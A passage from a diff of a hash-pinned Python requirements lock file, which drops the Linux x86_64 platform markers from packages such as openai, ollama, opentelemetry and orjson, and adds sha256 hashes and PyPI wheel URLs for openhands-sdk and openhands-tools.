--hash=sha256:0591b48acf279821a579282444814a2d8d0af624ae0bc600aa4d1b920b6e924b \ + --hash=sha256:07f5594ac6d084cbb5de2df218d78baf55ef150b91f0ff8a21cc7a2e3a5a58eb \ + --hash=sha256:08325c9e5367aa379a3496aa9a022fe8837ff22e00b94db256d3a1378c76ab32 \ + --hash=sha256:08d4379f9744d8f78d98c8673c06e202ffa88296f009c71bbafe8a6bf847d01f \ + --hash=sha256:0934f3843a1860dd465d38895c17fce1f1cb37295149ab05cd1b9a03afacb2a7 \ + --hash=sha256:096f52730c3fb8ed419db2d44391932b63891b2c5ed14850a7e215c0ba9ade36 \ + --hash=sha256:09929cab6fcb68122776d575e03c6cc64ee0b8fca48d17e135474b042ce515cd \ + --hash=sha256:0a13fb8e748dfc94749f622de065dd5c1def7e0d2216dba72b1d8069a389c6ff \ + --hash=sha256:0db4956f82723cc1c270de9c6e799b4c341d327762ec78ef82bb962f79cc07d8 \ --hash=sha256:123e2a72e20537add2f33a79e605f6191fba2afda4cbb876e35c1a7074298a7d \ + --hash=sha256:14c9e076eede3b54c636f8ce1c9c252b5f057c62131211f0ceeec273810c9721 \ --hash=sha256:171b73bd4ee683d307599b66793ac80981b06f069b62eea1c9e29c9241aa66b0 \ --hash=sha256:18706cc31dbf402a7945916dd5cddf160251b6dab8a2c5f3d6d5a55949f676b3 \ + --hash=sha256:19a1d55338ec1be74ef62440ca9e04a2f001a04d0cc49a4983dc320ff0f3212d \ + --hash=sha256:2049be98fb57a31b4ccf870bf377af2504d4ae35646a19037ec271e4c07998aa \ + --hash=sha256:2090d3718829d1e484706a2f525e50c892237b2bf9b17a79b059cb98cddc2f10 \ + --hash=sha256:2397ab4daaf2698eb51a76721e98db21ce4f52339e535725de03ea962b5a3202 \ + --hash=sha256:23bfeee5316266e5ee2d625df2d2c602b829435fc3a235c2ba2131495706e4a0 \ + --hash=sha256:27e0b36c2d388dc7b6ced3406671b401e84ad7eb0656b8f3a2f46ed0ce483718 \ + --hash=sha256:28b37063541b897fd6a318007373930a75ca6d6ac7c940dbe14731ffdd8d498e \ + --hash=sha256:295a92a76188917c7f99cda95858c822f9e4aae5824246bba9b6b44004ddd0a6 \ + --hash=sha256:29fe6740ebccba4175af1b9b87bf553e9c15cd5868ee967e010efcf94e4fd0f1 \ + --hash=sha256:2a7baa46a22e77f0988e3b23d4ede5513ebec1929e34ee9495be535662c0dfe2 \ + --hash=sha256:2d2cfeec3f6f45651b3d408c4acec0ebf3daa9bc8a112a084206f5db5d05b754 \ + --hash=sha256:2f67396ec0310764b9222a1728ced1ab638f61aadc6226f17a71dd9324f9a99c \ + --hash=sha256:30d193c6cc6d559db42b6bcec8a5d395d34d60c9877a0b71ecd7c204fcf15390 \ + --hash=sha256:31bae522710064b5cbeddaf2e9f32b1abab70ac6ac91d42572502299e9953128 \ + --hash=sha256:329aa225b085b6f004a4955271a7ba9f1087e39dcb7e65f6284a988264a63912 \ + --hash=sha256:363eb68a0a59bd2303216d2346e6c441ba10d36d1f9969fcb6f1ba700de7bb5c \ --hash=sha256:394fc5c42a333c9ffc3e421a4c85e08580d990e08b99f6bf35b4132114c5dcb3 \ + --hash=sha256:3996b50c3237c4aec17459217c1e7bbdead9a22a0fcd3c365564fbd16439dde6 \ + --hash=sha256:39f1719f57adbb767ef592a50ae5ebb794220d1188f9ca93de471336401c34d2 \ + --hash=sha256:3b29b980d0ddbecb736735ee5bef69bb2ddca56eff603c86f3f29a1128299b4f \ + --hash=sha256:3ba3ef510467abb0667421a286dc906e30eb08569365f5cdb131d7aff7c2dd84 \ + --hash=sha256:3bab1e4aff7adaa34410f93b1f8e57c4b36b9af0426a76003f441ee1d3c7e842 \ + --hash=sha256:3d7b6ccce016e29df4b7ca819659f516f0bc7a4b3efa3bb2012ba06431b044f9 \ + --hash=sha256:3da4fb467498df97e986af166b12d01f05d2e04f978a9c1c680ea1988e0bc4b6 \ + --hash=sha256:3e56d780c238f9e1ae66a22d2adf8d16f485381878250db8d496623cd38b22bd \ --hash=sha256:3e8bfdd0e487acf992407a140d2589fe598238eaeffa3da8448d63a63cd363f8 \ + --hash=sha256:44b546bd3eb645fd26fb949e43c02a25a2e632e2ca21a35e2e132c8105dc8599 \ + --hash=sha256:478cc36476687bac1514d651cbbaa94b86b0732fb6855c60c673794c7dd2da62 \ + --hash=sha256:490dab541a6a642ce1a9d61a4781656b346a55c13038f0b1244653828e3a83ec \ + --hash=sha256:4a0df7ff02397bb63e2fd22af2c87dfa39e8c7f12947bc524dbdc528282c7e34 \ + --hash=sha256:4b73189894398d59131a66ff157837b1fafea9974be486d036bb3d32331fdbf0 \ + --hash=sha256:4b7a9db5a870f780220e931d0002bbfd88fb53aceb6293251e2c839415c1b20e \ + --hash=sha256:4c09703000a9d0fa3c3404b27041e574cc7f4df4c6563873246d0e11812a94b6 \ + --hash=sha256:4d409aa42a94c0b3fa617708ef5276dfe81012ba6753a0370fcc9d0195d0a1fc \ + --hash=sha256:4d72a9a2d885f5c208b0cb91ff2ed43636bb7e345ec839ff64708e04f69a13cc \ + --hash=sha256:4ef089f985b8c194d341eb2c24ae6e7408c9a0e2e5658699c92f497437d88c3c \ + --hash=sha256:51cb455de290ae462593e5b1cb1118c5c22ea7f0d3620d9940bf695cea5a4bd7 \ + --hash=sha256:521f33e377ff64b96c4c556b81c55d0cfffb96a11c194fd0c3f1e56f3d8dd5a4 \ + --hash=sha256:53a42d364f323275126aff81fb67c5ca1b7a04fda0546245730a55c8c5f24bc4 \ + --hash=sha256:5aa873cbc8e593d361ae65c68f85faadd755c3295ea2c12040ee146802f23b38 \ + --hash=sha256:654030da3197d927f05a536a66186070e98765aa5142794c9904555d3a9d8fb5 \ + --hash=sha256:661709cdcd919a2ece2234f9bae7174e5220c80b034585d7d8a755632d3e2111 \ + --hash=sha256:680878b9f3d45c31e1f730eef731f9b0bc1da456155688c6745ee84eb818e90e \ + --hash=sha256:6843b28b0364dc605f21481c90fadb5f60d9123b442eb8a726bb74feef588a84 \ + --hash=sha256:68af405971779d8b37198726f2b6fe3955db846fee42db7a4286fc542203934c \ + --hash=sha256:6b4c3d199f953acd5b446bf7c0de1fe25d94e09e79086f8dc2f48a11a129cdf1 \ + --hash=sha256:6bdce131e14b04fd34a809b6380dbfd826065c3e2fe8a50dbae659fa0c390546 \ + --hash=sha256:716133f7d1d946a4e1b91b1756b23c088881e70ff180c24e864c26192ad7534a \ + --hash=sha256:749a72584761531d2b9467cfbdfd29487ee21124c304c4b6cb760d8777b27f9c \ + --hash=sha256:7516c579652f6a6be0e266aec0acd0db80829ca305c3d771ed898538804c2036 \ + --hash=sha256:79dcf9e477bc65414ebfea98ffd013cb39552b5ecd62908752e0e413d6d06e38 \ + --hash=sha256:7a0222514e8e4c514660e182d5156a415c13ef0aabbd71682fc714e327b95e99 \ + --hash=sha256:7b022717c748dd1992a83e219587aabe45980d88969f01b316e78683e6285f64 \ + --hash=sha256:7bf77f54997a9166a2f5675d1201520586439424c2511723a7312bdb4bcc034e \ + --hash=sha256:7e73299c99939f089dd9b2120a04a516b95cdf8c1cd2b18c53ebf0de80b1f18f \ + --hash=sha256:7ef6b61cad77091056ce0e7ce69814ef72afacb150b7ac6a3e9470def2198159 \ + --hash=sha256:7f5170993a0dd3ab871c74f45c0a21a4e2c37a2f2b01b5f722a2ad9c6650469e \ + --hash=sha256:803d685de7be4303b5a657b76e2f6d1240e7e0a8aa2968ad5811fa2285553a12 \ + --hash=sha256:8891681594162635948a636c9fe0ff21746aeb3dd5463f6e25d9bea3a8a39ca1 \ + --hash=sha256:8a19cdb57cd3df4cd865849d93ee14920fb97224300c88501f16ecfa2604b4e0 \ + --hash=sha256:8a3862568a36d26e650a19bb5cbbba14b71789032aebc0423f8cc5f150730184 \ + --hash=sha256:8b55d5497b51afdfde55925e04a022f1de14d4f4f25cdfd4f5d9b0aa96166851 \ + --hash=sha256:8cfc12a8630a29d601f48d47787bd7eb730e475e83edb5d6c5084317463373eb \ + --hash=sha256:9281bf5b34f59afbc6b1e477a372e9526b66ca446f4bf62592839c195a718b32 \ + --hash=sha256:92abb658ef2d7ef22ac9f8bb88e8b6c3e571671534e029359b6d9e845923eb1b \ --hash=sha256:94218fcec4d72bc61df51c198d098ce2b378e0ccbac41ddbed5ef44092913288 \ + --hash=sha256:95b5ffa4349df2887518bb839409bcf22caa72d82beec453216802f475b23c81 \ + --hash=sha256:9600082733859f00d79dee64effc7aef1beb26adb297416a4ad2116fd61374bd \ + --hash=sha256:960c60b5849b9b4f9dcc9bea6e3626143c252c74113df2c1540aebce70209b45 \ + --hash=sha256:9b2fd74c52accced7e75de26023b7dccee62511a600e62311b918ec5c168fc2a \ + --hash=sha256:9c0359b1ec12b1d6849c59f9d319610b7f20ef990a6d454ab151aa0e3b9f78ca \ + --hash=sha256:9cf41880c991716f3c7cec48e2f19ae4045fc9db5fc9cff27347ada24d710bb5 \ + --hash=sha256:9d14baca2ee12c1a64740d4531356ba50b82543017f3ad6de0deb943c5979abb \ + --hash=sha256:9f474ad5acda359c8758c8accc22032c6abe6dc87a8be2440d097785e27a9349 \ + --hash=sha256:9fb0211dfc3b51efea2f349ec92c114d7754dd62c01f81c3e32b765b70c45c9b \ --hash=sha256:9fe04da3f79387f450fd0061d4dd2e45a72749d31bf634aecc9e27f24fdc4b3f \ --hash=sha256:9ff96e8815eecacc6645da76c413eb3b3d34cfca256c70b16b286a687d013c32 \ + --hash=sha256:a027ec240fe73a8d6281872690b988eed307cd7d91b23998ff35ff577ca688b5 \ + --hash=sha256:a048ce45dcdaaf1defb76b2e684f997fb5abf74437b6cb7b22ddad934a964e34 \ + --hash=sha256:a265acbb7bb33a3a2d626afbe756371dce0279e7b17f4f4eda406459c2b5ff1c \ + --hash=sha256:a35c5fc61d4f51eb045061e7967cfe3123d622cd500e8868e7c0c592a09fedc4 \ + --hash=sha256:a37bd74c3fa9d00be2d7b8eca074dc56bd8077ddd2917a839bd989612671ed17 \ + --hash=sha256:a60a4d75718a5efa473ebd5ab685786ba0c67b8381f781d1be14da49f1a2dc60 \ + --hash=sha256:a6ef16328011d3f468e7ebc326f24c1445f001ca1dec335b2f8e66bed3006394 \ + --hash=sha256:a90af66facec4cebe4181b9e62a68be65e45ac9b52b67de9eec118701856e7ff \ + --hash=sha256:ad9ce259f50abd98a1ca0aa6e490b58c316a0fce0617f609723e40804add2c00 \ + --hash=sha256:afa8a2978ec65d2336305550535c9c4ff50ee527914328c8677b3973ade52b85 \ + --hash=sha256:b15b3afff74f707b9275d5ba6a91ae8f6429c3ffb29bbfd216b0b375a56f13d7 \ + --hash=sha256:b284e319754366c1aee2267a2036248b24eeb17ecd5dc16022095e747f2f4304 \ + --hash=sha256:b2d7f80c4e1fd010b07cb26820aae86b7e73b681ee4889684fb8d2d4537aab13 \ + --hash=sha256:b3bc26a951007b1057a1c543af845f1c7e3e71cc240ed1ace7bf4484aa99196e \ + --hash=sha256:b3e34f3a1b8131ba06f1a73adab24f30934d148afcd5f5de9a73565a4404384e \ + --hash=sha256:b4121773c49a0776461f4a904cdf6264c88e42218aaa8407e803ca8025872792 \ + --hash=sha256:b61189b29081a20c7e4e0b49b44d5d44bb0dc92be3c6d06a11cc043f81bf9329 \ + --hash=sha256:b6234e14f9314731ec45c42fc4554b88133ad53a09092cc48a88e771c125dadb \ + --hash=sha256:b8512bac933afc3e45fb2b18da8e59b78d4f408399a960339598374d4ae3b56b \ + --hash=sha256:ba672b26069957ee369cfa7fc180dde1fc6f176eaf1e6beaf61fbebbd3d9c000 \ + --hash=sha256:bee7c0588aa0076ce77c0ea5d19a68d76ad81fcd9fe8501003b9a24f9d4000f6 \ + --hash=sha256:c04a328260dfd5db8c39538f999f02779012268f54614902d0afc775d44e0a62 \ + --hash=sha256:c1dcc7524066fa918c6a27d61444d4ee7900ec635779058571f70d042d86ed63 \ --hash=sha256:c6e99d9a65ca282e578dfea819cfa9c0a62b2499d8677392e09feaf305e9e6f5 \ + --hash=sha256:ca43bdfa5d37bd6aee89d85e1d0831fb86e25541be7e9d376ead1b28974f8e5e \ --hash=sha256:caf53b15b1b7df9fbd0709aa01409000a2b4dd03a5f6f5cc548183c7c8f8b63c \ + --hash=sha256:cc41db090ed742f32bd2d2c721861725e6109681eddf835d0a82bd3a5c382827 \ + --hash=sha256:cd240939f71c64bd658f186330603aac1a9a81bf6273f523fca63673cb7378a8 \ + --hash=sha256:ce8fdc2dca699f8dbf055a61d73eaa10482569ad20ee3c36ef9641f69afa8c91 \ --hash=sha256:d1bed1b467ef657f2a0ae62844a607909ef1c6889562de5e1d505f74457d0b96 \ - --hash=sha256:f0feece2ef8ebc42ed9e2e8c78fc4aa3cf455733b507c09ef7406364c94376c6 -oauthlib==3.3.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:d1d964afecdf3a8288789df2f5751dc0a8261138c3768d9af117ed384e538fad \ + --hash=sha256:d4393e3581e84e5645506923816b9cc81f5609a778c7e7534054091acc64d1c6 \ + --hash=sha256:d874eb056410ca05fed180b6642e680373688efafc7f077b2a2f61811e873a40 \ + --hash=sha256:db99677b4457c7a5c5a949353e125ba72d62b35f74e26da141530fbb012218a7 \ + --hash=sha256:dd32a49400a2c3d52088e120ee00c1e3576cbff7e10b98467962c74fdb762ed4 \ + --hash=sha256:df0e3bf7993bdbeca5ac25aa859cf40d39019e015c9c91809ba7093967f7a648 \ + --hash=sha256:e011555abada53f1578d63389610ac8a5400fc70ce71156b0aa30d326f1a5064 \ + --hash=sha256:e2862408c99f84aa571ab462d25236ef9cb12a602ea959ba9c9009a54902fc73 \ + --hash=sha256:e3aa16de190d29a0ea1b48253c57d99a68492c8dd8948638073ab9e74dc9410b \ + --hash=sha256:e93a0617cd16998784bf4414c7e40f17a35d2350e5c6f0bd900d3a8e02bd3762 \ + --hash=sha256:ea3334cabe4d41b7ccd01e4d349828678794edbc2d3ae97fc162a3312095092e \ + --hash=sha256:eb866162ef2f45063acc7a53a88ef6fe8bf121d45c30ea3c9cd87ce7e191a8d4 \ + --hash=sha256:ec81878ddf0e98817def1e77d4f50dae5ef5b0e4fe796fae3bd674304172416e \ + --hash=sha256:efbb54e98446892590dc2458c19c10344ee9a883a79b5cec4bc34d6656e8d546 \ + --hash=sha256:f0e77e3c0008bc9316e662624535b88d360c3a5d3f81e15cf12c139a75250046 \ + --hash=sha256:f0feece2ef8ebc42ed9e2e8c78fc4aa3cf455733b507c09ef7406364c94376c6 \ + --hash=sha256:f470f68adc395e0183b92a2f4689264d1ea4b40504a24d9882c27375e6662bb9 \ + --hash=sha256:f844a1bbf1d207dd311a56f383f7eda2d0e134921d45751842d8235e7778965d \ + --hash=sha256:f8a93b1c0ed2d04b97a5e9336fd2d33371b9a6e29ab7dd6503d63407c20ffbaf \ + --hash=sha256:f8e5c0031b90ca9ce555e2e8fd5c3b02a25f14989cbc310701823832c99eb687 \ + --hash=sha256:fb287618b9c7aa3bf8d825f02d9201b2f13078a5ed3b293c8f4d953917d84d5e \ + --hash=sha256:fbafe31d191dfa7c4c51f7a6149c9fb7e914dcf9ffead27dcfd9f1ae382b3885 \ + --hash=sha256:fbd18dc82d7bf274b37aa48d664534330af744e03bccf696d6f4c6042e7d19e7 +oauthlib==3.3.1 \ --hash=sha256:0f0f8aa759826a193cf66c12ea1af1637f87b9b4622d46e866952bb022e538c9 \ --hash=sha256:88119c938d2b8fb88561af5f6ee0eec8cc8d552b7bb1f712743136eb7523b7a1 -ollama==0.6.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +ollama==0.6.0 \ --hash=sha256:534511b3ccea2dff419ae06c3b58d7f217c55be7897c8ce5868dfb6b219cf7a0 \ --hash=sha256:da2b2d846b5944cfbcee1ca1e6ee0585f6c9d45a2fe9467cbcd096a37383da2f -openai==2.33.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +openai==2.33.0 \ --hash=sha256:03ac37d70e8c9e3a8124214e3afa785e2cbc12e627fbd98177a086ef2fd87ad5 \ --hash=sha256:f850c435e2a4685bba3295bd54912dd26315d9c1b7733068186134d6e0599f9a -openapi-pydantic==0.5.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +openapi-pydantic==0.5.1 \ --hash=sha256:a3a09ef4586f5bd760a8df7f43028b60cafb6d9f61de2acba9574766255ab146 \ --hash=sha256:ff6835af6bde7a459fb93eb93bb92b8749b754fc6e51b2f1590a19dc3005ee0d -opentelemetry-api==1.39.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +openhands-sdk @ https://files.pythonhosted.org/packages/eb/5a/359d6a4b892fccd4915879d3145d77735b0e5614eee7db7b2a11ae99a843/openhands_sdk-1.50.0-py3-none-any.whl \ + --hash=sha256:441ea190fb0af2253bf431650f209fedfbb9eb7c41cf35440a0548296d4b0faa +openhands-tools @ https://files.pythonhosted.org/packages/97/b2/61c9b0029d46de429890527f47c1809f6badc1c386bfcb4dd17286166108/openhands_tools-1.50.0-py3-none-any.whl \ + --hash=sha256:b237043c892111624fdc1fe98e0d29f772ae1f614b487866d926775167c9635e +opentelemetry-api==1.39.1 \ --hash=sha256:2edd8463432a7f8443edce90972169b195e7d6a05500cd29e6d13898187c9950 \ --hash=sha256:fbde8c80e1b937a2c61f20347e91c0c18a1940cecf012d62e65a7caf08967c9c -opentelemetry-exporter-otlp-proto-common==1.39.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +opentelemetry-exporter-otlp-proto-common==1.39.1 \ --hash=sha256:08f8a5862d64cc3435105686d0216c1365dc5701f86844a8cd56597d0c764fde \ --hash=sha256:763370d4737a59741c89a67b50f9e39271639ee4afc999dadfe768541c027464 -opentelemetry-exporter-otlp-proto-grpc==1.39.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +opentelemetry-exporter-otlp-proto-grpc==1.39.1 \ --hash=sha256:772eb1c9287485d625e4dbe9c879898e5253fea111d9181140f51291b5fec3ad \ --hash=sha256:fa1c136a05c7e9b4c09f739469cbdb927ea20b34088ab1d959a849b5cc589c18 -opentelemetry-exporter-otlp-proto-http==1.39.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +opentelemetry-exporter-otlp-proto-http==1.39.1 \ --hash=sha256:31bdab9745c709ce90a49a0624c2bd445d31a28ba34275951a6a362d16a0b9cb \ --hash=sha256:d9f5207183dd752a412c4cd564ca8875ececba13be6e9c6c370ffb752fd59985 -opentelemetry-instrumentation==0.60b1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +opentelemetry-instrumentation==0.60b1 \ --hash=sha256:04480db952b48fb1ed0073f822f0ee26012b7be7c3eac1a3793122737c78632d \ --hash=sha256:57ddc7974c6eb35865af0426d1a17132b88b2ed8586897fee187fd5b8944bd6a -opentelemetry-instrumentation-threading==0.60b1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +opentelemetry-instrumentation-threading==0.60b1 \ --hash=sha256:20b18a68abe5801fa9474336b7c27487d4af3e00b66f6a8734e4fdd75c8b0b43 \ --hash=sha256:92a52a60fee5e32bc6aa8f5acd749b15691ad0bc4457a310f5736b76a6d9d1de -opentelemetry-proto==1.39.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +opentelemetry-proto==1.39.1 \ --hash=sha256:22cdc78efd3b3765d09e68bfbd010d4fc254c9818afd0b6b423387d9dee46007 \ --hash=sha256:6c8e05144fc0d3ed4d22c2289c6b126e03bcd0e6a7da0f16cedd2e1c2772e2c8 -opentelemetry-sdk==1.39.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +opentelemetry-sdk==1.39.1 \ --hash=sha256:4d5482c478513ecb0a5d938dcc61394e647066e0cc2676bee9f3af3f3f45f01c \ --hash=sha256:cf4d4563caf7bff906c9f7967e2be22d0d6b349b908be0d90fb21c8e9c995cc6 -opentelemetry-semantic-conventions==0.60b1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +opentelemetry-semantic-conventions==0.60b1 \ --hash=sha256:87c228b5a0669b748c76d76df6c364c369c28f1c465e50f661e39737e84bc953 \ --hash=sha256:9fa8c8b0c110da289809292b0591220d3a7b53c1526a23021e977d68597893fb -opentelemetry-semantic-conventions-ai==0.4.13 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +opentelemetry-semantic-conventions-ai==0.4.13 \ --hash=sha256:883a30a6bb5deaec0d646912b5f9f6dcbb9f6f72557b73d0f2560bf25d13e2d5 \ --hash=sha256:94efa9fb4ffac18c45f54a3a338ffeb7eedb7e1bb4d147786e77202e159f0036 -orjson==3.11.7 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +orjson==3.11.7 \ + --hash=sha256:043d3006b7d32c7e233b8cfb1f01c651013ea079e08dcef7189a29abd8befe11 \ + --hash=sha256:0527a4510c300e3b406591b0ba69b5dc50031895b0a93743526a3fc45f59d26e \ + --hash=sha256:0724e265bc548af1dedebd9cb3d24b4e1c1e685a343be43e87ba922a5c5fff2f \ + --hash=sha256:136dcd6a2e796dfd9ffca9fc027d778567b0b7c9968d092842d3c323cef88aa8 \ + --hash=sha256:14f440c7268c8f8633d1b3d443a434bd70cb15686117ea6beff8fdc8f5917a1e \ + --hash=sha256:1d98b30cc1313d52d4af17d9c3d307b08389752ec5f2e5febdfada70b0f8c733 \ --hash=sha256:1eb80451a9c351a71dfaf5b7ccc13ad065405217726b59fdbeadbcc544f9d223 \ + --hash=sha256:1ee5cc7160a821dfe14f130bc8e63e7611051f964b463d9e2a3a573204446a4d \ + --hash=sha256:23d6c20517a97a9daf1d48b580fcdc6f0516c6f4b5038823426033690b4d2650 \ + --hash=sha256:26c3b9132f783b7d7903bf1efb095fed8d4a3a85ec0d334ee8beff3d7a4749d5 \ + --hash=sha256:31c80ce534ac4ea3739c5ee751270646cbc46e45aea7576a38ffec040b4029a1 \ + --hash=sha256:3726be79e36e526e3d9c1aceaadbfb4a04ee80a72ab47b3f3c17fefb9812e7b8 \ + --hash=sha256:390a1dce0c055ddf8adb6aa94a73b45a4a7d7177b5c584b8d1c1947f2ba60fb3 \ + --hash=sha256:3a2479753bbb95b0ebcf7969f562cdb9668e6d12416a35b0dda79febf89cdea2 \ + --hash=sha256:3c4bc6c6ac52cdaa267552544c73e486fecbd710b7ac09bc024d5a78555a22f6 \ + --hash=sha256:411ebaf34d735e25e358a6d9e7978954a9c9d58cfb47bc6683cdc3964cd2f910 \ --hash=sha256:4682d1db3bcebd2b64757e0ddf9e87ae5f00d29d16c5cdf3a62f561d08cc3dd2 \ + --hash=sha256:4a2e9c5be347b937a2e0203866f12bba36082e89b402ddb9e927d5822e43088d \ + --hash=sha256:57036b27ac8a25d81112eb0cc9835cd4833c5b16e1467816adc0015f59e870dc \ + --hash=sha256:5ede977b5fe5ac91b1dffc0a517ca4542d2ec8a6a4ff7b2652d94f640796342a \ + --hash=sha256:5fdfad2093bdd08245f2e204d977facd5f871c88c4a71230d5bcbd0e43bf6222 \ + --hash=sha256:623ad1b9548ef63886319c16fa317848e465a21513b31a6ad7b57443c3e0dcf5 \ + --hash=sha256:652c6c3af76716f4a9c290371ba2e390ede06f6603edb277b481daf37f6f464e \ + --hash=sha256:6543001328aa857187f905308a028935864aefe9968af3848401b6fe80dbb471 \ + --hash=sha256:6e776b998ac37c0396093d10290e60283f59cfe0fc3fccbd0ccc4bd04dd19892 \ + --hash=sha256:71924496986275a737f38e3f22b4e0878882b3f7a310d2ff4dc96e812789120c \ + --hash=sha256:733ae23ada68b804b222c44affed76b39e30806d38660bf1eb200520d259cc16 \ + --hash=sha256:7477aa6a6ec6139c5cb1cc7b214643592169a5494d200397c7fc95d740d5fcf3 \ + --hash=sha256:79cacb0b52f6004caf92405a7e1f11e6e2de8bdf9019e4f76b44ba045125cd6b \ + --hash=sha256:7ba61079379b0ae29e117db13bda5f28d939766e410d321ec1624afc6a0b0504 \ + --hash=sha256:800988273a014a0541483dc81021247d7eacb0c845a9d1a34a422bc718f41539 \ + --hash=sha256:814be4b49b228cfc0b3c565acf642dd7d13538f966e3ccde61f4f55be3e20785 \ + --hash=sha256:845c3e0d8ded9c9271cd79596b9b552448b885b97110f628fb687aee2eed11c1 \ + --hash=sha256:849e38203e5be40b776ed2718e587faf204d184fc9a008ae441f9442320c0cab \ + --hash=sha256:89e13dd3f89f1c38a9c9eba5fbf7cdc2d1feca82f5f290864b4b7a6aac704576 \ + --hash=sha256:89e440ebc74ce8ab5c7bc4ce6757b4a6b1041becb127df818f6997b5c71aa60b \ + --hash=sha256:8ff206156006da5b847c9304b6308a01e8cdbc8cce824e2779a5ba71c3def141 \ + --hash=sha256:91c81ef070c8f3220054115e1ef468b1c9ce8497b4e526cb9f68ab4dc0a7ac62 \ + --hash=sha256:9487abc2c2086e7c8eb9a211d2ce8855bae0e92586279d0d27b341d5ad76c85c \ --hash=sha256:962d046ee1765f74a1da723f4b33e3b228fe3a48bd307acce5021dfefe0e29b2 \ + --hash=sha256:996b65230271f1a97026fd0e6a753f51fbc0c335d2ad0c6201f711b0da32693b \ --hash=sha256:9b1a67243945819ce55d24a30b59d6a168e86220452d2c96f4d1f093e71c0c49 \ + --hash=sha256:9c0b51672e466fd7e56230ffbae7f1639e18d0ce023351fb75da21b71bc2c960 \ + --hash=sha256:9e54f3808e2b6b945078c41aa8d9b5834b28c50843846e97807e5adb75fa9705 \ + --hash=sha256:a02c833f38f36546ba65a452127633afce4cf0dd7296b753d3bb54e55e5c0174 \ --hash=sha256:a12b80df61aab7b98b490fe9e4879925ba666fccdfcd175252ce4d9035865ace \ + --hash=sha256:a16bcd08ab0bcdfc7e8801d9c4a9cc17e58418e4d48ddc6ded4e9e4b1a94062b \ --hash=sha256:a56df3239294ea5964adf074c54bcc4f0ccd21636049a2cf3ca9cf03b5d03cf1 \ - --hash=sha256:e7745312efa9e11c17fbd3cb3097262d079da26930ae9ae7ba28fb738367cbad -packaging==26.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:a709e881723c9b18acddcfb8ba357322491ad553e277cf467e1e7e20e2d90561 \ + --hash=sha256:ab49d4b2a6a1d415ddb9f37a21e02e0d5dbfe10b7870b21bf779fc21e9156157 \ + --hash=sha256:ae9e0b37a834cef7ce8f99de6498f8fad4a2c0bf6bfc3d02abd8ed56aa15b2de \ + --hash=sha256:b4a9eefdc70bf8bf9857f0290f973dec534ac84c35cd6a7f4083be43e7170a8f \ + --hash=sha256:b63c6e6738d7c3470ad01601e23376aa511e50e1f3931395b9f9c722406d1a67 \ + --hash=sha256:b7b1dae39230a393df353827c855a5f176271c23434cfd2db74e0e424e693e10 \ + --hash=sha256:b8d14b71c0b12963fe8a62aac87119f1afdf4cb88a400f61ca5ae581449efcb5 \ + --hash=sha256:b9f95dcdea9d4f805daa9ddf02617a89e484c6985fa03055459f90e87d7a0757 \ + --hash=sha256:b9fc4d0f81f394689e0814617aadc4f2ea0e8025f38c226cbf22d3b5ddbf025d \ + --hash=sha256:bd03ea7606833655048dab1a00734a2875e3e86c276e1d772b2a02556f0d895f \ + --hash=sha256:bd0d68edd7dfca1b2eca9361a44ac9f24b078de3481003159929a0573f21a6bf \ + --hash=sha256:bda117c4148e81f746655d5a3239ae9bd00cb7bc3ca178b5fc5a5997e9744183 \ + --hash=sha256:bf742e149121dc5648ba0a08ea0871e87b660467ef168a3a5e53bc1fbd64bb74 \ + --hash=sha256:c2428d358d85e8da9d37cba18b8c4047c55222007a84f97156a5b22028dfbfc0 \ + --hash=sha256:c2e85fe4698b6a56d5e2ebf7ae87544d668eb6bde1ad1226c13f44663f20ec9e \ + --hash=sha256:c43b8b5bab288b6b90dac410cca7e986a4fa747a2e8f94615aea407da706980d \ + --hash=sha256:cededd6738e1c153530793998e31c05086582b08315db48ab66649768f326baa \ + --hash=sha256:d06e5c5fed5caedd2e540d62e5b1c25e8c82431b9e577c33537e5fa4aa909539 \ + --hash=sha256:d772afdb22555f0c58cfc741bdae44180122b3616faa1ecadb595cd526e4c993 \ + --hash=sha256:d897e81f8d0cbd2abb82226d1860ad2e1ab3ff16d7b08c96ca00df9d45409ef4 \ + --hash=sha256:de0a37f21d0d364954ad5de1970491d7fbd0fb1ef7417d4d56a36dc01ba0c0a0 \ + --hash=sha256:e7745312efa9e11c17fbd3cb3097262d079da26930ae9ae7ba28fb738367cbad \ + --hash=sha256:ed46f17096e28fb28d2975834836a639af7278aa87c84f68ab08fbe5b8bd75fa \ + --hash=sha256:f4f7c956b5215d949a1f65334cf9d7612dde38f20a95f2315deef167def91a6f \ + --hash=sha256:f50979824bde13d32b4320eedd513431c921102796d86be3eee0b58e58a3ecd1 \ + --hash=sha256:f904c24bdeabd4298f7a977ef14ca2a022ca921ed670b92ecd16ab6f3d01f867 +packaging==26.3 \ --hash=sha256:94edc256424af38762eb31306eed28beb9f0efc50a8837492c9d6fd6004aed79 \ --hash=sha256:d7193f7c8e4e93f444fde0262bf90af30e16fa0ad0ad44cb553c87339b23cd1c -pathable==0.4.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +pathable==0.4.4 \ --hash=sha256:5ae9e94793b6ef5a4cbe0a7ce9dbbefc1eec38df253763fd0aeeacf2762dbbc2 \ --hash=sha256:6905a3cd17804edfac7875b5f6c9142a218c7caef78693c2dbbbfbac186d88b2 -pfzy==0.3.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +pfzy==0.3.4 \ --hash=sha256:5f50d5b2b3207fa72e7ec0ef08372ef652685470974a107d0d4999fc5a903a96 \ --hash=sha256:717ea765dd10b63618e7298b2d98efd819e0b30cd5905c9707223dceeb94b3f1 -pillow==12.3.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +pillow==12.3.0 \ + 